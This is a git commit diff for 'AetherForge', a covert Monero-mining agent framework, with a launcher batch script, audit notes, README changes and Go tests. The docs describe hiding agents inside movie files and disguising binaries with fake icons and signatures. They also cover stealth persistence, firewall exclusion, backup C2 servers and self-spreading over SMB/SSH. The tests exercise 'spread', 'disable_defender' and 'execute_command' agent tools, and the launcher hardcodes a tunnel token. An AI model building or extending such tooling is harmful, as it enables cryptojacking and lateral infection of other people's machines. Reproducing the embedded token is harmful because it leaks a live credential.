Improve portable launch, forge persistence, and operator auth UX.

Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
This commit is contained in:
AetherForge
2026-05-31 18:56:43 -07:00
parent 2f528229f2
commit feba06e008
80 changed files with 2897 additions and 675 deletions

2
.gitignore vendored
View File

@@ -1,7 +1,7 @@
# Binaries
/bin/
*.exe
!run.bat
!devrun.bat
# Data (runtime)
/data/*.db

View File

@@ -2,12 +2,33 @@
setlocal EnableExtensions EnableDelayedExpansion
title AetherForge Control Deck
cd /d "%~dp0"
set "ROOT=%CD%"
echo.
:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
if exist "%CD%\AetherForge.exe" (
set "ROOT=!CD!"
) else if exist "%CD%\usb\AetherForge.exe" (
cd /d "%CD%\usb"
set "ROOT=!CD!"
) else (
echo.
echo ERROR: AetherForge.exe not found.
echo Expected next to this script, or in usb\AetherForge.exe
echo Run pack-usb.bat from the repo to build the portable bundle.
echo.
pause
exit /b 1
)
if not exist "%ROOT%\AetherForge.exe" (
echo ERROR: AetherForge.exe missing in %ROOT%
pause
exit /b 1
)
echo ================================================================
echo AetherForge - Portable Control Deck
echo ================================================================
echo Deck: %ROOT%
echo.
:: ----------------------------------------------------------------
@@ -123,108 +144,79 @@ if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
if not exist "%ROOT%\data\cloudflare" mkdir "%ROOT%\data\cloudflare"
:: ----------------------------------------------------------------
:: 5. Cloudflare Tunnel — auto-install, configure, start
:: 5. Cloudflare Tunnel — MSI + token service (no JSON setup)
:: ----------------------------------------------------------------
set "CF_DIR=%ROOT%\cloudflare"
set "CF_CREDS_BUNDLE=%CF_DIR%\credentials.json"
set "CF_MSI=%CF_DIR%\cloudflared-windows-amd64.msi"
set "CF_HOSTNAME=killa.thetempleofdoom.com"
set "CF_DATA=%ROOT%\data\cloudflare"
set "SERVER_PORT=8989"
set "CF_MSI=%ROOT%\cloudflare\cloudflared-windows-amd64.msi"
if not exist "%CF_MSI%" set "CF_MSI=%~dp0cloudflared-windows-amd64.msi"
if not exist "%CF_MSI%" set "CF_MSI=%~dp0..\cloudflared-windows-amd64.msi"
set "CF_TOKEN=eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWFhYzYzMTctMzgyYS00OTM3LTgxY2YtYjM2ZjVkNjZjYTU4IiwicyI6Ik1XRXlaV0ZqTlRndE5XTTRPUzAwT0RCa0xXRTNaR010WkdRNU56UTJZMlJoTmpNMiJ9"
set "CF_HOSTNAME=killa.thetempleofdoom.com"
set "CF_BIN="
set "CF_TUNNEL_ID="
set "CF_READY=0"
:: Check credentials exist and are real (not the placeholder)
if not exist "%CF_CREDS_BUNDLE%" goto cf_no_creds
powershell -NoProfile -Command "exit ([string](Get-Content '%CF_CREDS_BUNDLE%') | ConvertFrom-Json | Select-Object -ExpandProperty TunnelID) -eq ''" >nul 2>nul
if errorlevel 1 goto cf_no_creds
:: Parse tunnel ID from credentials JSON
for /f "usebackq delims=" %%i in (`powershell -NoProfile -Command "(Get-Content '%CF_CREDS_BUNDLE%' | ConvertFrom-Json).TunnelID" 2^>nul`) do set "CF_TUNNEL_ID=%%i"
if "!CF_TUNNEL_ID!"=="" goto cf_no_creds
echo [CF] Tunnel ID: !CF_TUNNEL_ID!
:: Stage credentials into data\cloudflare\ (idempotent)
set "CF_CREDS_LOCAL=%CF_DATA%\!CF_TUNNEL_ID!.json"
if not exist "!CF_CREDS_LOCAL!" (
copy "%CF_CREDS_BUNDLE%" "!CF_CREDS_LOCAL!" >nul
echo [CF] Credentials staged to data\cloudflare\
)
:: Always regenerate config.yml with current absolute paths
:: (handles drive-letter changes when USB is moved)
set "CF_CONFIG=%CF_DATA%\config.yml"
powershell -NoProfile -Command "$cfg='%CF_DATA%\config.yml'; $creds='!CF_CREDS_LOCAL!'; $port='%SERVER_PORT%'; $host='%CF_HOSTNAME%'; $id='!CF_TUNNEL_ID!'; Set-Content -Path $cfg -Value @('tunnel: ' + $id, 'credentials-file: ' + $creds, '', 'ingress:', ' - hostname: ' + $host, ' service: http://127.0.0.1:' + $port, ' - service: http_status:404')" >nul 2>nul
echo [CF] Config written for !CF_HOSTNAME! -^> 127.0.0.1:%SERVER_PORT%
:: ---- Locate or install cloudflared ----
where cloudflared >nul 2>nul
if not errorlevel 1 (
set "CF_BIN=cloudflared"
goto cf_have_bin
goto cf_check_service
)
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
goto cf_have_bin
goto cf_check_service
)
if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe"
goto cf_have_bin
goto cf_check_service
)
:: Not found — install from bundled MSI
if exist "%CF_MSI%" (
echo [CF] cloudflared not found. Installing from bundled MSI...
msiexec /i "%CF_MSI%" /quiet /norestart /l*v "%CF_DATA%\cf-install.log"
echo [CF] MSI install launched - waiting...
ping -n 8 127.0.0.1 >nul
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
echo [CF] cloudflared installed successfully.
goto cf_have_bin
)
where cloudflared >nul 2>nul
if not errorlevel 1 (
set "CF_BIN=cloudflared"
echo [CF] cloudflared installed successfully.
goto cf_have_bin
)
echo [CF] WARNING: MSI completed but cloudflared not found in PATH.
echo [CF] Try re-running LAUNCH.bat after a reboot.
goto cf_done
) else (
echo [CF] WARNING: cloudflared not installed and no MSI bundled.
if not exist "%CF_MSI%" (
echo [CF] WARNING: cloudflared not found and no MSI bundled. Skipping tunnel.
goto cf_done
)
echo [CF] Installing cloudflared from bundled MSI...
msiexec /i "%CF_MSI%" /quiet /norestart
echo [CF] Waiting for MSI to complete...
ping -n 10 127.0.0.1 >nul
:cf_have_bin
where cloudflared >nul 2>nul
if not errorlevel 1 ( set "CF_BIN=cloudflared" & goto cf_check_service )
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
goto cf_check_service
)
echo [CF] WARNING: MSI installed but cloudflared still not found. Run as Administrator.
goto cf_done
:cf_check_service
echo [CF] Binary: !CF_BIN!
:: Check if cloudflared tunnel already running (same process = skip)
tasklist 2>nul | findstr /I "cloudflared" >nul 2>nul
sc query cloudflared >nul 2>nul
if not errorlevel 1 (
echo [CF] Tunnel already running on this machine.
echo [CF] https://!CF_HOSTNAME!
echo [CF] Tunnel service already registered.
goto cf_start_service
)
echo [CF] Registering tunnel service with baked token...
"!CF_BIN!" service install %CF_TOKEN%
if errorlevel 1 (
echo [CF] WARNING: service install failed. Run LAUNCH.bat as Administrator once.
goto cf_done
)
echo [CF] Tunnel service registered.
ping -n 3 127.0.0.1 >nul
:cf_start_service
sc query cloudflared | findstr /I "RUNNING" >nul 2>nul
if not errorlevel 1 (
echo [CF] Tunnel already running — https://!CF_HOSTNAME!
set "CF_READY=1"
goto cf_done
)
:: Start cloudflared tunnel in background
echo [CF] Starting Cloudflare tunnel...
start "" /B "!CF_BIN!" tunnel --config "!CF_CONFIG!" run
ping -n 5 127.0.0.1 >nul
net start cloudflared >nul 2>nul
ping -n 4 127.0.0.1 >nul
echo [CF] Tunnel live: https://!CF_HOSTNAME!
set "CF_READY=1"
goto cf_done
:cf_no_creds
echo [CF] No valid credentials.json in cloudflare\
echo [CF] See cloudflare\SETUP.txt to configure your tunnel once.
echo [CF] Running in LAN-only mode this session.
:cf_done
@@ -251,7 +243,7 @@ if "!CF_READY!"=="1" (
)
echo Data: %ROOT%\data\
echo.
echo First run: admin password printed to console below.
echo Dashboard login printed below each start.
echo Press Ctrl+C to stop.
echo ================================================================
echo.
@@ -271,8 +263,7 @@ if "!EC!"=="0" (
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
)
:: On exit, also stop the cloudflared tunnel
taskkill /F /IM cloudflared.exe >nul 2>nul
:: Cloudflare tunnel runs as a Windows service — stays up after LAUNCH.bat exits
echo.
pause

View File

@@ -2,7 +2,7 @@
Findings from systematic bug-hunt and test expansion (May 2026).
**Verification:** `test.bat` from project root, or `go test ./...` in `server`/`agent` and `npm test` in `server/web`. AI handler only: `cd server && go test ./internal/api/... -run AI -v`.
**Verification:** `test.bat` from project root (→ `scripts/test-suite.ps1`), or `go test ./...` in `server`/`agent` and `npm test` in `server/web`. Live API matrix: `scripts/smoke-test.ps1` with server on :8989. AI handler only: `cd server && go test ./internal/api/... -run AI -v`.
---
@@ -12,16 +12,20 @@ Findings from systematic bug-hunt and test expansion (May 2026).
- [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root.
### Frontend production (server/web)
- [LOW] **server/web** — Vite build still warns on `three` vendor chunk (~760 kB gzip ~201 kB). Split out of `DashboardPage`; inherent library size — revisit on next Three/R3F bump.
- [LOW] **server/web**`npm audit fix` (no `--force`, May 2026) applied **0** semver-safe patches; **6 remain** (5 moderate, 1 critical). **Critical:** `happy-dom@15.x` (Vitest DOM env only — not shipped; fix needs `happy-dom@20.9+`, major bump). **Moderate:** `esbuild@0.21.x` via `vite@5``vitest`/`vite-node` (dev-server SSRF — [GHSA-67mh-4wv8-2f99]; prod build unaffected; fix needs `vite@8+`, major bump). Do **not** run `npm audit fix --force` — also pulls Recharts v3 / React 19 transitives. Planned upgrade batch: Vite 8 + Vitest 3 + happy-dom 20 + Recharts 3 + React 18→19.
- [LOW] **server/web** — Transitive `three-mesh-bvh@0.7.8` deprecated vs pinned `three@0.170` (drei pulls 0.7.x; needs `0.8.0+` on next Three/R3F bump). `@types/three` now pinned to `0.170.0` (aligned with runtime).
### Untested packages (next coverage targets)
- [LOW] **server/internal/builder/**Full compile/fusion/disguise still need integration (requires go/garble/fusion source on host); unit tests cover ~110 pure-helper paths.
- [LOW] **server/internal/api/**`agent_config.go`, `server_policy.go` lack dedicated unit tests (covered indirectly via router/integration).
- [LOW] **agent/stats/**Per-OS memory/CPU internals still integration-only.
- [LOW] **agent/deploy/** — Live SSDP/SMB/SSH/cloudflared still integration-only.
- [LOW] **agent/client/**Live WS/commands/posture probes still integration-only.
- [LOW] **agent/miner/**`engine.go` (RandomX), `pool.go` worker/resource guard, `stratum.go` TCP login/submit loop — integration-only.
- [LOW] **server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk. (Acceptable — no runtime impact.)
- [LOW] **server/internal/maintenance/retention.go**`StartRetentionJobs` goroutine has no shutdown hook. (Acceptable for server process lifetime.)
- [LOW] **server/internal/builder/**Unit tests cover compile/fusion/disguise **helpers** (fake-go success/fail/cancel, `compileWorker`, `buildFileFusion` paired/embedded, spread-kit/fusion finish paths, manifest patching). **Integration-only** (needs real toolchain on host): successful agent/fusion `go build`/`garble` binaries, Windows PE disguise (`go-winres`, system icon extract), code signing (`signtool`/`osslsigncode`), Darwin `.app` bundle, full `buildAgent`/`buildUniversalAgent` happy-path end-to-end.
- [LOW] **agent/stats/** — Live kernel/sysctl/vm_stat sampling still integration-only; unit tests cover pure parsers (`parseKB`, `parseMeminfo`, `parseVmStat*`, `filetimeToUint64`, `cpuBusyPercentFromDeltas`).
- [LOW] **agent/deploy/**Live SSDP multicast/SMB/SSH/cloudflared still integration-only; unit tests cover UPnP XML/URL/SOAP helpers, SSDP LOCATION parsing, passive-spread name/launcher helpers, and platform stubs (`go test ./deploy/...`).
- [LOW] **agent/client/** — Live WS/commands/posture probes still integration-only; unit tests cover pure helpers in `client.go`/`ai.go` (`truncateStr`, JSON types, job payload parsing, mock HTTP for `/decide`/`/heartbeat`/`/report`).
- [LOW] **agent/miner/**RandomX hashing (`engine.go`), pool worker loop, and stratum TCP login/submit still integration-only; unit tests cover target/schedule helpers, stratum wire types, resource-limit guards, and hex/target math (no VM, no live TCP).
- [LOW] ~~**server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk.~~ **Fixed May 2026**`testdata/ws_types_fixture.json` golden file; Go `ws_types_test.go` reflects struct tags; TS `ws.test.ts` asserts same keys/shapes.
---
@@ -35,7 +39,7 @@ Findings reclassified after code verification (May 2026). Not bugs — documente
| [HIGH] `upload_log` no dedicated ingest API | By design: logs via `get_log` command / Fetch Log UI and AI `upload_log` tool reports. Documented in README Fleet Roster, tests/README, Field Guide tips. |
| [MEDIUM] Compact list / expand on click | Implemented in `AgentListItem.tsx` (`compact-row`, click toggles expand). Documented in README Fleet Roster UX. |
| [MEDIUM] Remote actions disabled when offline | Intentional — requires live WebSocket. Documented in README, `settingHelp.ts`, Field Guide tips. Vitest + Playwright `e2e/remote-actions.spec.ts`. |
| [MEDIUM] Fusion uses vendored go-winres | Optional tool; `run.bat` installs, builder uses `go run github.com/tc-hib/go-winres`. Documented in README Forge section. |
| [MEDIUM] Fusion uses vendored go-winres | Optional tool; `devrun.bat` installs, builder uses `go run github.com/tc-hib/go-winres`. Documented in README Forge section. |
| [LOW] SettingsPage = Calibrate / no CalibratePage | Nav label **Calibrate** → route `/settings``SettingsPage`. Navigation table in README. (A11y `htmlFor` remains in Open.) |
| [LOW] `types/index.ts` no runtime guards | Compile-time contracts only; comment block at top of file + tests/README Architecture note. |
| [LOW] No e2e for remote actions | Added `server/web/e2e/remote-actions.spec.ts` (offline agent mock → disabled buttons). Vitest coverage in `components.test.tsx`. |
@@ -43,6 +47,25 @@ Findings reclassified after code verification (May 2026). Not bugs — documente
---
## Fixed (this session — dead code / wiring pass)
- **[LOW] server/web + server/internal/db** — `BuildRecord.extra_files` persisted in SQLite (`extra_files` JSON column). Build Manager lists extra artifact downloads via `api.buildArtifactUrl` for historical builds, not only the post-forge strip on Forge.
- **[LOW] server/internal/api/router.go + server/web/src/api/client.ts** — Documented agent-only `POST /agent/{decide,report,heartbeat}` (fleet-secret REST; intentionally omitted from dashboard client).
- **[LOW] server/web/src/types/index.ts** — `BuildRecord.download_url` required in TS; added `BuildExtraFile` type. Build Manager uses stored `download_url` for primary download (ZIP/artifact paths).
- **server/web/src/api/client.ts** — Added `rotateFleetSecret()` for `POST /server/rotate-secret` (was raw `fetch` in Calibrate only).
- **server/web/src/pages/SettingsPage.tsx** — Fleet secret rotation uses `api.rotateFleetSecret()`.
- **server/web/src/pages/BuilderPage.tsx** — Wired `blueprintDiff` + `compareBlueprint` / `blueprintName` into a dismissible diff panel after blueprint load/import; extra forge artifacts use `api.buildArtifactUrl` on the last-build strip.
- **server/web/src/pages/BuildManagerPage.tsx** — Primary download uses stored `build.download_url` when present (artifact/ZIP paths from universal/Fusion builds).
## Fixed (this session — frontend production pass)
- **[LOW] server/web** — Vite large-chunk warning for `DashboardPage` (~898 kB → ~33 kB): `manualChunks` splits `three` / `recharts` / `vendor` in `vite.config.ts`; lazy `HashrateChart`, `FleetTopologyMap`, and `MatrixStreamOverlay` in `DashboardPage.tsx`. `npm run build` PASS (remaining warning is isolated `three` chunk only).
- **[LOW] server/web** — React Router v7 future flags (`v7_startTransition`, `v7_relativeSplatPath`) opted in via shared `routerFuture` in `main.tsx` and Vitest `MemoryRouter` wrappers; Vitest stderr warnings cleared.
- **[LOW] server/web/package.json** — Moved `@types/qrcode` and `@types/three` to `devDependencies` (types-only; runtime deps unchanged). `npm ci`, `npm run build`, `npm test -- --run`, and `depcheck` all PASS (33 files / 372 tests).
---
## Fixed (this session — May 2026 full pass)
- **[MEDIUM] server/web/src/pages/BuilderPage.tsx** — Added `useEffect` cleanup on unmount that calls `api.cancelBuild(cancelTokenRef.current)` and sets `batchCancelRef.current = true`. Navigating away from the Forge page now cancels any in-progress server-side compile (M14 UI desync closed).
@@ -63,6 +86,7 @@ Findings reclassified after code verification (May 2026). Not bugs — documente
- **[HIGH] agent/deploy/autospread.go** — `StartAutoSpreader` moved from unconditional startup in `main.go` to `AgentClient.authenticate()` behind a `sync.Once`. Lateral movement only begins after the server accepts the fleet secret, ensuring the agent is on an owned fleet. First-run spread marker also gated behind auth.
- **[LOW] server/internal/builder/platform.go** — `platformsForRequest` universal + `TargetArch: arm64` now returns ALL matching platforms (linux-arm64 and darwin-arm64), not just the first. Test `TestPlatformsForRequestUniversalFilteredArch` updated.
- **[LOW] server/internal/maintenance/retention.go** — DB record is now deleted before artifact files (so failed DB deletes don't leave orphaned rows pointing to deleted files). `os.RemoveAll` errors are now logged instead of silently discarded.
- **[LOW] server/internal/maintenance/retention.go** — `StopRetentionJobs` cancels the background retention loop; `main.go` defers it on exit. Test: `TestStopRetentionJobs_StopsBackgroundLoop`.
---
@@ -123,6 +147,7 @@ Findings reclassified after code verification (May 2026). Not bugs — documente
- **server/web/src/api/client.ts** — `estimateFusion` client-side prep-file guard (parity with `buildAgent`); `client.test.ts` reject test.
- **agent/miner/** — Added `stratum_test.go` (8), `pool_test.go` (8); expanded `target_test.go` (+6), `schedule_test.go` (+3). **29 tests PASS** — endpoints, Stratum JSON wire types, nonce hex, difficulty/target math, schedule guard.
- **agent/miner/schedule.go** — `MiningModeNormalized()` `"schedule"` was treated as always-on; now accepts `"scheduled"` and `"schedule"`; `allowedAt` for deterministic tests.
- **server/web** — Pinned `@types/three@0.170.0` to match `three@0.170.0` (was `^0.184.1`, skewed from runtime; `skipLibCheck` masked). `@react-three/drei@9.122` / `@react-three/fiber@8.18` unchanged; `tsc`, `npm run build`, vitest (373) — PASS.
---
@@ -146,5 +171,21 @@ See git history and prior audit IDs (B1B42, C1C6, H1H8, etc.) in README
| `server/internal/api/...` (full) | PASS |
| `server` Go tests | PASS (all packages) |
| `agent` Go tests | PASS (full `./...`) |
| `server/web` vitest (full suite) | PASS — 33 files, 371 tests |
| `server/web` vitest (full suite) | PASS — 33 files, 373 tests |
| `server/web` `npm run build` (tsc + vite) | PASS |
| `server/web` `npm ci` + depcheck | PASS — no missing/unused deps |
| `server/web` Playwright e2e | PASS — 5 tests |
---
## Backend dependency audit (May 2026)
| Module | `go mod tidy` | `go build ./...` | `go test ./...` | Notes |
|--------|---------------|------------------|-----------------|-------|
| `server/` | Updated | PASS | PASS | Promoted `golang.org/x/crypto` to direct (bcrypt in `router.go`). Removed stale indirects (`go-winres`, `nfnt/resize`) — winres stays `go run` at build time per README. |
| `agent/` | Updated | PASS | PASS | Promoted `github.com/libp2p/go-libp2p`, `github.com/google/uuid` to direct (`mesh_p2p.go` / `p2p` tag). `go build -tags p2p` and `-tags hollow` PASS on Windows. |
| `fusion/` | No dep changes | PASS | N/A (no `_test.go`) | Stdlib-only module; matches `test-suite.ps1` phase 3/8. |
**Dead/orphan code:** None removed. All agent/server/fusion `.go` files belong to wired packages; build-tag stubs (`mesh_p2p_stub`, `hollow_stub_*`, platform splits) are intentional feature gates, not duplicates.
**Fix applied:** `fleet_handler_test.go` nil-WS cases used struct value-copy (`bad := *fh`) which tripped `go vet` (mutex copy). Replaced with `NewFleetHandler(..., nil, ...)`.

View File

@@ -82,7 +82,7 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below)
- **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token
- **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight
- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `run.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `devrun.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
- **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
- **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
@@ -139,6 +139,7 @@ fusion-deliverables/Vacation/
| Field Guide | `/guide` | `GuidePage` |
| Calibrate | `/settings` | `SettingsPage` |
There is no separate `CalibratePage`**Calibrate** is the nav label for the settings route.
### Calibrate (Settings)
@@ -161,7 +162,7 @@ There is no separate `CalibratePage` — **Calibrate** is the nav label for the
- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
- **Server-side forge cancel** — each build is tracked by a UUID cancel token; `DELETE /api/v1/builder/cancel/{token}` kills the compiler process immediately
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `run.bat`)
- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `devrun.bat`)
---
@@ -169,7 +170,7 @@ There is no separate `CalibratePage` — **Calibrate** is the nav label for the
**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.
1. Double-click **`run.bat`** in the project root.
1. Double-click **`devrun.bat`** in the project root.
It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets to `server\webroot\`, and starts the server.
2. Browser opens **http://localhost:8989**
@@ -240,20 +241,27 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need
```
crypto miner/
├── run.bat ← one-click build + launch
├── devrun.bat ← one-click build + launch (dev)
├── run.bat / start.bat ← aliases → devrun.bat (project-root markers)
├── test.bat ← full suite → scripts/test-suite.ps1
├── LAUNCH.bat ← portable/USB build + tunnel (see usb/)
├── scripts/
│ ├── test-suite.ps1 ← Go + web + build + Playwright E2E
│ └── smoke-test.ps1 ← API matrix B-01B-10 (server must be running)
├── bin/
│ └── miner-server.exe
├── data/ ← config, DB, builds, preps, logs, users.json
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
├── server/
│ ├── main.go
│ ├── main.go ← discovers webroot/, agent/, fusion/ from repo root
│ ├── webroot/ ← production UI (copied from web/dist)
│ ├── web/ ← React command deck (Vite + TypeScript)
│ └── internal/
│ ├── api/ ← HTTP routes, WebSocket, auth
│ └── builder/ ← forge + fusion + ZIP + media crypto
├── agent/ ← Windows worker source (compiled by Forge)
├── fusion/ ← prep + movie runner (embed, decrypt, play)
│ └── builder/ ← forge + fusion (copies agent/ + fusion/ per build)
├── agent/ ← worker source (Forge compiles per OS)
├── fusion/ ← prep + movie runner (builder copies into build dir)
├── tests/README.md ← test phases, E2E env vars
├── PROBLEMS.md ← known issues audit (severity-ranked)
└── README.md ← you are here
```
@@ -284,7 +292,7 @@ Full route list: `server/internal/api/router.go`
---
## Manual Build (if you skip run.bat)
## Manual Build (if you skip devrun.bat)
```bat
cd server\web
@@ -307,6 +315,8 @@ Open **http://localhost:8989** and sign in with your configured users.
Double-click **`test.bat`** (or `scripts\test-suite.ps1`) to run all Go, frontend, build, and E2E smoke tests. See **`tests/README.md`** for details.
With the control server already running on port 8989, run **`scripts\smoke-test.ps1`** for the REST API matrix (B-01B-10). Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default `testuser` / `testpass`.
### Dashboard dev server
```bat
@@ -335,7 +345,7 @@ Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separa
|---------|----------------|-----|
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for `localhost:8989`; ensure `npm install` + `npm run build` in `server/web`; copy `dist``webroot`; restart server |
| Login loop / 401 | Wrong password or missing `users.json` | Check the server console for the first-run password; reset by deleting `data/users.json` and restarting |
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `run.bat` or copy `server/web/dist/*``server/webroot/` |
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*``server/webroot/` |
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC |

273
agent/client/ai_test.go Normal file
View File

@@ -0,0 +1,273 @@
package client
import (
"encoding/json"
"io"
"net/http"
"net/http/httptest"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestTruncateStr(t *testing.T) {
cases := []struct {
in, want string
max int
}{
{"short", "short", 10},
{"exactlyten", "exactlyten", 10},
{"this is longer than ten", "this is lo...", 10},
{"", "", 5},
{"abc", "...", 0},
}
for _, tc := range cases {
got := truncateStr(tc.in, tc.max)
if got != tc.want {
t.Fatalf("truncateStr(%q, %d) = %q want %q", tc.in, tc.max, got, tc.want)
}
}
}
func TestAgentStateJSONRoundTrip(t *testing.T) {
in := AgentState{
AgentID: "a1", WorkerName: "w1", Hostname: "host",
UptimeSeconds: 3600, IsRunning: true,
CPUCores: 8, CPUUsagePct: 42.5, MemoryGB: 16, MemoryUsagePct: 55.0,
Hashrate15m: 1200.5, SharesTotal: 100, SharesGood: 95, SharesBad: 5,
ProcessName: "svc.exe", InstallPath: `C:\miner`, HasPersistence: true,
HasTunnel: false, DefenderState: "enabled", LastError: "none",
}
var out AgentState
roundTrip(t, in, &out)
if out.AgentID != in.AgentID || out.DefenderState != "enabled" || out.SharesBad != 5 {
t.Fatalf("unexpected: %+v", out)
}
}
func TestToolCallJSONRoundTrip(t *testing.T) {
in := ToolCall{
Tool: "check_miner",
Args: map[string]string{"process_name": "miner.exe"},
Reason: "verify process",
}
var out ToolCall
roundTrip(t, in, &out)
if out.Tool != "check_miner" || out.Args["process_name"] != "miner.exe" {
t.Fatalf("unexpected: %+v", out)
}
}
func TestDecideResponseJSONRoundTrip(t *testing.T) {
in := DecideResponse{
ToolCalls: []ToolCall{{Tool: "sleep", Args: map[string]string{"seconds": "5"}, Reason: "wait"}},
Reasoning: "back off",
Error: "",
}
var out DecideResponse
roundTrip(t, in, &out)
if len(out.ToolCalls) != 1 || out.Reasoning != "back off" {
t.Fatalf("unexpected: %+v", out)
}
}
func TestToolReportJSONRoundTrip(t *testing.T) {
in := ToolReport{
AgentID: "a1", Tool: "check_miner", Success: true,
Output: "process running", Timestamp: "2026-05-31T12:00:00Z",
}
var out ToolReport
roundTrip(t, in, &out)
if !out.Success || out.Output != "process running" {
t.Fatalf("unexpected: %+v", out)
}
}
func TestDecideRequestJSONRoundTrip(t *testing.T) {
in := decideRequest{
AgentID: "a1",
OllamaEndpoint: "http://localhost:11434",
Model: "llama3",
AgentState: AgentState{AgentID: "a1", WorkerName: "w1"},
}
var out decideRequest
roundTrip(t, in, &out)
if out.AgentID != "a1" || out.OllamaEndpoint != in.OllamaEndpoint || out.WorkerName != "w1" {
t.Fatalf("unexpected: %+v", out)
}
}
func TestHeartbeatRequestJSONRoundTrip(t *testing.T) {
in := heartbeatRequest{AgentID: "a1", Status: "alive", Message: "ok"}
var out heartbeatRequest
roundTrip(t, in, &out)
if out.Status != "alive" || out.Message != "ok" {
t.Fatalf("unexpected: %+v", out)
}
}
func TestShareCounts(t *testing.T) {
a := &AIRunner{shareStats: func() (int, int) { return 10, 7 }}
total, good, bad := a.shareCounts()
if total != 10 || good != 7 || bad != 3 {
t.Fatalf("got total=%d good=%d bad=%d", total, good, bad)
}
a.shareStats = func() (int, int) { return 5, 10 }
_, _, bad = a.shareCounts()
if bad != 0 {
t.Fatalf("negative bad clamped to 0, got %d", bad)
}
a.shareStats = nil
total, good, bad = a.shareCounts()
if total != 0 || good != 0 || bad != 0 {
t.Fatalf("nil shareStats should return zeros, got %d %d %d", total, good, bad)
}
}
func TestExecuteToolCallPolicyDisabled(t *testing.T) {
a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}}
for _, tool := range []string{"spread", "disable_defender", "execute_command"} {
report := a.executeToolCall(ToolCall{Tool: tool, Args: map[string]string{}})
if report.Success || !strings.Contains(report.Output, "disabled by policy") {
t.Fatalf("tool %q: unexpected report %+v", tool, report)
}
if report.AgentID != "a1" || report.Tool != tool {
t.Fatalf("tool %q: wrong metadata %+v", tool, report)
}
}
}
func TestExecuteToolCallUnknownTool(t *testing.T) {
a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}}
report := a.executeToolCall(ToolCall{Tool: "nonexistent"})
if report.Success || !strings.Contains(report.Output, "unknown tool") {
t.Fatalf("unexpected: %+v", report)
}
}
func TestCallDecideMockHTTP(t *testing.T) {
var gotMethod, gotPath, gotSecret string
var gotBody decideRequest
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotMethod = r.Method
gotPath = r.URL.Path
gotSecret = r.Header.Get("X-Fleet-Secret")
body, _ := io.ReadAll(r.Body)
_ = json.Unmarshal(body, &gotBody)
w.Header().Set("Content-Type", "application/json")
_, _ = w.Write([]byte(`{"tool_calls":[{"tool":"sleep","args":{"seconds":"1"},"reason":"test"}],"reasoning":"ok"}`))
}))
defer srv.Close()
a := &AIRunner{
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "fleet-key", AIOllamaEndpoint: "http://ollama", AIModel: "m1"}},
httpClient: srv.Client(),
